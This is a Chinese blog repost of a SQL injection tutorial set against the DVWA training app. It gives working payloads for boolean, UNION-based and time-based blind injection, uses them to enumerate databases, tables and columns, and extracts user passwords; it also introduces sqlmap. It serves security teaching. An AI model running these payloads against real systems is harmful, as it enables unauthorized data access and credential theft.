我是靠谱客的博主 激动香菇,最近开发中收集的这篇文章主要介绍SQL注入,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

1、查询数据语句

 1 select * from users;
 2 select user_id,first_name,last_name from users;
 3 desc mysql.user  //查看表结构
 4 //条件查询
 5 select user,password,host from mysql.user where user='root'
 6 
 7 //联合查询
 8 select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users;
 9 
10 //猜字段数,直到试到合适的字段数z 
11 select * from dvwa.users union select 1,2,3;
 1  information_schema
 2 可以认为是数据库字典, 保存了MySQL的表、库的信息
 3 select * from information_schema.TABLES limit 1G; 查看表的详细信息
 4 *************************** 1. row ***************************
 5   TABLE_CATALOG: NULL
 6    TABLE_SCHEMA: information_schema
 7      TABLE_NAME: CHARACTER_SETS
 8      TABLE_TYPE: SYSTEM VIEW
 9          ENGINE: MEMORY
10         VERSION: 10
11      ROW_FORMAT: Fixed
12      TABLE_ROWS: NULL
13  AVG_ROW_LENGTH: 384
14     DATA_LENGTH: 0
15 MAX_DATA_LENGTH: 16604160
16    INDEX_LENGTH: 0
17       DATA_FREE: 0
18  AUTO_INCREMENT: NULL
19     CREATE_TIME: NULL
20     UPDATE_TIME: NULL
21      CHECK_TIME: NULL
22 TABLE_COLLATION: utf8_general_ci
23        CHECKSUM: NULL
24  CREATE_OPTIONS: max_rows=43690
25   TABLE_COMMENT:

2、低安全级别

输入ID1,前端会显示对应的用户名

 

 在输入框内输入user ID后,系统会自动返回ID对应的用户名,此时在数据库端实际的指令是

1 select first_name,last_name from dvwa.users where user_id=1;

 

 

 

 2.1基于布尔的注入

布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码。输入代码:

1 'or 1=1 -- '

 

 

1 原始语句
2 mysql>select first_name,last_name from dvwa.users where user_id='';
3 
4 SQL注入语句解析:'or 1=1 -- '
5 mysql>select first_name,last_name from dvwa.users where user_id=' 'or 1=1 --' ';
6 说明:
7 第一个'用于闭合前面的条件
8 or 1=1为真的条件
9 --将注释后面的所有语句

2.2基于union注入

union语句用于联合前面的select查询语句,合并查询更多信息;一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息

 1 //猜测数据列数
 2 ' union select 1 -- '
 3 ' union select 1,2 -- '
 4 ' union select 1,2,3 -- '
 5 SQL注入语句解析
 6 mysql>select first_name,last_name from dvwa.users where user_id='' union select 1 -- ''
 7 
 8 mysql>select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- ''
 9 
10 //获取当前数据库及用户信息
11  ' union select version(),database() -- '
12 ' union select user(),database() -- '
13 mysql>select first_name,last_name from dvwa.users where user_id='' union select version(),database() --'';
14
mysql>select first_name,last_name from dvwa.users where user_id='' union select user(),database() --'';
说明:
version() 获取数据库版本信息
database() 获得当前数据库名
user() 获得当前用户名

//查询数据库中所有表
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式;
元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息

 SQL注入语句解析

//查询所有表
1
mysql>select * from information_schema.TABLESG
1 //查询所有库名
2  ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '        //前端注入SQL语句
3 mysql>select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '';    //后端数据库查询语句

 

 

 

1  // 查看所在库中所有表名
2 ' union select table_name,1 from INFORMATION_SCHEMA.tables -- '
3 mysql>select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATION_SCHEMA.tables -- ' '
1 //同时查询表名及对应库名
2 ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- '
3 mysql>select first_name,last_name from dvwa.users where user_id =' ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- ' '

  

1 //原始语句,$id为前端输入的id,如123
2 mysql>select first_name,last_name from dvwa.users where user_id='$id'
1 //查询数据表,查询字段名
2 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '
3 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- '
4 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- '

上述注入在后端数据库查询语句如下

1 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- ' '
2 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- ' '
3 mysql>select first_name,last_name from dvwa.users where user_id=' 'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- ' '
1 //查询数据列
2 'union select NULL,user from users -- '
3 'union select NULL,password from users -- '
4 'union select user,password from users -- '
5 'union select NULL,GRANTEE from USER_PRIVILEGES -- '
6 'union select password,concat(first_name,' ',last_name,' ' ,user) from users -- '

 

2.3 基于时间的盲注

  有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。输入1为真语句,后面附加' and sleep(5)-- ',延迟5秒钟返回,说明后面的语句是可以执行的

  SQL注入语句解析

1 mysql>select first_name,last_name from dvwa.users where user_id ='1' and sleep(5) -- '

2.4 sqlmap自动化注入 

SQL注入比较好用的工具,首推开源工具sqlmap。sqlmap是国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

sqlmap支持MySQL,Oracle,postgreSQL,Microsoft SQL server,Microsoft access,IBM DB2,SQLite,Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

 

转载于:https://www.cnblogs.com/leeqizhi/p/11477789.html

最后

以上就是激动香菇为你收集整理的SQL注入的全部内容,希望文章能够帮你解决SQL注入所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(42)

评论列表共有 0 条评论

立即
投稿
返回
顶部